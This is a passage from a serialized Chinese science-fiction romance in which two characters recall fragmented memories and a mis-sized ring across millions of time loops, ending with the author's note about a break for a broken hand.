“你们为什么愿意成为对方的漏洞。” 琥珀色的光晕里,林静渊的手指又动了一下;这次幅度更大,像在梦境中握紧什么。 怀从咎看着祝觉明。 祝觉明看着他。 九百六十三万次循环里,他们说过很多话。对峙、辩解、诘问、剖白……但在所有话之前,在所有计算与反计算、信任与背叛、拯救与赴死之前—— “我不记得是从哪一次开始。” 祝觉明的声音很轻,像怕惊动停滞的时间。 “循环太多次以后,记忆不是连续的。有时醒来,只记得一些碎片:你面罩上的反光,你锁骨的灼痕,你输入操纵指令时会思考……我不知道这些意味着什么,但它们比任何数据都清晰。” “循环第七百万次左右,我梦见火星基地。不是穹顶坍塌那次,是落成典礼。你穿过人群走过来,问我的戒指是不是婚戒。我没有回答,但醒来的时候,我发现自己在笑。” 他看着自己的手。 “我对着一次没有给出答案的对话,笑了很久。” 怀从咎沉默着。 “那枚戒指大了半号。” 他的声音平稳,像在陈述飞行日志。 “我用目测估的尺寸,不准。后来想重做一个,但找不到机会——你总是隔很久才出现,出现时身边总有别人,对话不超过三分钟。” “第三十三次循环,我梦见你戴着它。不是抑制器,是一枚素圈。我醒来以后查了记录,那一轮你没有戴任何戒指。但梦里是戴着的。” 他没有说下去。 琥珀色里,两枚戒指隔着三厘米的虚空,形成某种等待被测量的共振。 妄镜的同心环瞳仁缓慢收束成一点。 “九百六十三万次循环,”它笃定的点头,“观测者一直在等待你们说出这些。” “不是因为这些话构成完美答案。是因为……” —————— 2.16请假,手骨折了。